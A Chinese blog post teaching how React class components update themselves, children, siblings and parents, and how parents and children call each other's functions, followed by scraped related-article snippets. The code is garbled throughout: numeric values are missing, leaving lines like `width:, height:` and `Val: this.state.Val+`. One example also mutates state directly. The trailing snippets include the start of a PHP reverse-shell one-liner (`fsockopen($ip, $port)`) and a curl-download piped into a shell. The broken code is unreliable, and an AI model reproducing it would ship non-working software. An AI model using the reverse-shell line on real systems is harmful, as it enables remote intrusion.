React 关于组件(界面)更新
在最近在学 React , 将组件的UI更新稍微整理了一下。
根据业务要求,可能会出现如下的技术实现要求:
1.更新自己
2.更新子组件
3.更新兄弟组件
4.更新父组件
5.父 call 子 function
6.子 call 父 function
整理代码如下:
更新自己:
import React, { Component } from 'react';
import { Button } from 'antd'; class Me extends Component {
constructor(props){
super(props)
this.state = { Val : }
this.handleClick = this.handleClick.bind( this );
} handleClick(e) {
e.preventDefault();
console.log('The link was clicked.'); this.setState({
Val:
});
} render() {
return (
<div style={{ width:, height:, backgroundColor:"#FF0000" }} >
<span> myValue { this.state.Val } aaa</span>
<Button onClick={ this.handleClick } >更新自己 </Button> </div>
);
}
}
export default Me;
更新儿子
class Son extends Component {
constructor(props){
super(props)
//this.state = { SonVal :10 } } render() {
return (
<div style={{ width:, height:, backgroundColor:"#00FF00" }} >
<span> sonValue { this.props.SonVal } aaa</span> </div>
);
}
} export default Son;
class Me extends Component {
constructor(props){
super(props)
this.state = { Val :, SonVal : }
this.handleClick = this.handleClick.bind( this );
this.handleClick4Son = this.handleClick4Son.bind( this );
} handleClick(e) {
e.preventDefault();
console.log('The link was clicked.'); this.setState({
Val: this.state.Val+
});
} handleClick4Son(e) {
e.preventDefault(); this.setState({
SonVal: this.state.SonVal+
});
} render() {
return (
<div style={{ width:, height:, backgroundColor:"#FF0000" }} >
<span> myValue { this.state.Val } aaa</span>
<Button onClick={ this.handleClick } >更新自己 </Button>
<Button onClick={ this.handleClick4Son } >更新儿子 </Button> <Son SonVal={ this.state.SonVal + } /> </div>
);
}
}
更新兄弟:
更新兄弟, 就需要和老爹相关了, 老爹组件 App (只是命名,可以叫其他) :
import Me from './component/Me'
import Brother from "./component/Brother"; class App extends Component { constructor(props){
super(props)
this.state = { My2SonVal :30 }
this.onMy2SonValChangle = this.onMy2SonValChangle.bind( this ); } onMy2SonValChangle(e) { this.setState({
My2SonVal: e
});
} render() {
return (
<div className="App">
<header className="App-header">
<img src={logo} className="App-logo" alt="logo" />
<h1 className="App-title">Welcome to React</h1>
</header>
<p className="App-intro">
To get started, edit <code>src/App.js</code> and save to reload.
</p> <Me chagleBrother={ this.onMy2SonValChangle } />
<Brother BrotherVal={ this.state.My2SonVal }/> </div>
);
}
}
兄弟:
class Brother extends Component {
constructor(props){
super(props)
//this.state = { SonVal :10 } } render() {
return (
<div style={{ width:, height:, backgroundColor:"#00FFFF" }} >
<span> brotherValue { this.props.BrotherVal } </span> </div>
);
}
} export default Brother;
自己:
class Me extends Component {
constructor(props){
super(props)
this.state = { Val :, SonVal :, BrotherVal: }
this.handleClick = this.handleClick.bind( this );
this.handleClick4Son = this.handleClick4Son.bind( this );
this.handleClick4Brother = this.handleClick4Brother.bind( this ); } handleClick(e) {
e.preventDefault();
console.log('The link was clicked.'); this.setState({
Val: this.state.Val+
});
} handleClick4Son(e) {
e.preventDefault(); this.setState({
SonVal: this.state.SonVal+
});
} handleClick4Brother(e) {
e.preventDefault(); this.state.BrotherVal = this.state.BrotherVal+
this.props.chagleBrother( this.state.BrotherVal ) } render() {
return (
<div style={{ width:, height:, backgroundColor:"#FF0000" }} >
<span> myValue { this.state.Val } aaa</span>
<Button onClick={ this.handleClick } >更新自己 </Button>
<Button onClick={ this.handleClick4Son } >更新儿子 </Button>
<Button onClick={ this.handleClick4Brother } >更新兄弟 </Button> <Son SonVal={ this.state.SonVal + } /> </div>
);
}
}
export default Me;
自此我们已经完成了: 更新自己, 更新子组件,更新兄弟组件,更新父组件(调整一下更新兄弟组件代码), 子 call 父 function
还需要完成: 父 call 子
class Me2 extends Component {
constructor(props){
super(props)
this.onSetChild = this.onSetChild.bind(this);
this.handleClick = this.handleClick.bind(this);
}
render() {
return(
<div styles = { { width :, height:, backgroundColor:"#4400FF" } }>
<Child fatherCall={ this.onSetChild } />
<button onClick={this.handleClick} >click</button>
</div>
)
} onSetChild( childObj ){
this.child = childObj;
} handleClick() {
this.child.sonFunction()
} } class Child extends Component {
componentDidMount(){
this.props.fatherCall(this)
} sonFunction(){
console.log('sonFunction --------- ')
} render() {
return ( <div> son Txt </div> )
}
}; export default Me2;
React 关于组件(界面)更新的更多相关文章
- 从 React 的组件更新谈 Immutable 的应用
在介绍 Immutable 如何在 React 中应用之前,先来谈谈 React 组件是如何更新的. React 是基于状态驱动的开发,可以将一个组件看成是一个有限状态机,组件要更新,必须更新状态. ...
- React Native组件、生命周期及属性传值props详解
创建组件的三种方式 第一种:通过ES6的方式创建 /** * 方式一 :ES6 */ export default class HelloComponent extends Component { r ...
- React 面向组件化编程 - 封装了webpack - npm run build 产生的包的 /static 引用路径问题
React 面向组件化编程 面向对象 ----> 面向模块 ----> 面向组件 套路: 注意: 组件名必须大写开头: 只能有一个根标签: <input />虚拟DOM 元素必 ...
- react native组件的生命周期
react native组件的生命周期 一.当页面第一次加载时,会依次调用: constructor() componentWillMount(): 这个函数调用时机是在组件创建,并初始化了状态之后, ...
- React Native组件(二)View组件解析
相关文章 React Native探索系列 React Native组件系列 前言 了解了RN的组件的生命周期后,我们接着来学习RN的具体的组件.View组件是最基本的组件,也是首先要掌握的组件,这一 ...
- Android React Native组件的生命周期及回调函数
熟悉android的童鞋应该都清楚,android是有生命周期的,其很多组件也是有生命周期.今天小编和大家分享的React Native组件的生命周期,还不了解的童鞋,赶紧来围观吧 在android开 ...
- React: React的组件状态机制
一.简介 在React中,有两个核心的默认属性,分别是state和props.state会记录组件的状态,React根据状态的变化,会对界面做相应的调整或渲染.props则是数据流向属性,React通 ...
- React: 研究React的组件化
一.简介大概 在以往的Web开发中,会把web页面所有的复杂控件作为一个单一的整体进行开发,由于控件之间需要进行通信,因此不同的组件之间的耦合度会很多,由于开发一个控件的时候要考虑到控件与控件之间的联 ...
- React 之 组件生命周期
React 之 组件生命周期 理解1) 组件对象从创建到死亡它会经历特定的生命周期阶段2) React组件对象包含一系列的勾子函数(生命周期回调函数), 在生命周期特定时刻回调3) 我们在定义组件时, ...
随机推荐
- Win7添加php环境变量.
1) "我的电脑"右键"属性"->高级系统设置->环境变量->系统变量->Path->编辑 2) 将PHP的执行路径的目录&quo ...
- Python内置函数(17)——chr
英文文档: chr(i) Return the string representing a character whose Unicode code point is the integer i. F ...
- POJ-2263 Heavy Cargo---最短路变形&&最小边的最大值
题目链接: https://vjudge.net/problem/POJ-2263 题目大意: 有n个城市,m条连接两个城市的道路,每条道路有自己的最大复载量.现在问从城市a到城市b,车上的最大载重能 ...
- 一个关于C8051F350模拟电源的小问题
前言 多做重要而不紧急的工作,慢慢的就会发现重要而紧急的工作没那么多了 工作方法 今天有好几个同事出差去现场实验了,为了今天的顺利成行,昨天加了个班,但是从项目管理的角度或者说做事的方法上来讲,这次加 ...
- CentOS 7 快速初始化脚本 for MySQL
#!/bin/bash## CentOS 7.x # SSH configuresshd_port=22 # Disable SElinuxprintf "Disable SElinux.. ...
- 输出一个对象,会默认执行toString()方法
今天在看编程思想时看到enum知识点时发现了这个小问题(可能我基础太差了) 如图 然后就一步一步的跟进源码发现了其中的奥秘,首先进入println()方法如下图 看图执行了valueOf()方法进行s ...
- C#之Excel操作
下面的这几个方法是我在项目中经常用到的,欢迎大家批评指正 读取Excel表中的数据 第一种:功能丰富,速度慢 /// <summary> /// 从Excel读取数据 /// </s ...
- RabbitMQ基础入门
RabbitMQ是一个消息中间件,在一些需要异步处理.发布/订阅等场景的时候,使用RabbitMQ可以完成我们的需求. 下面是我在学习java语言实现RabbitMQ(自RabbitMQ官网的Tuto ...
- Ubuntu系统安装Pyenv
安装Pyenv curl -L https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | ...
- php一句话反弹bash shell
来源:https://www.leavesongs.com/PHP/backshell-via-php.html 用到了,记录一下 $sock = fsockopen($ip, $port); $de ...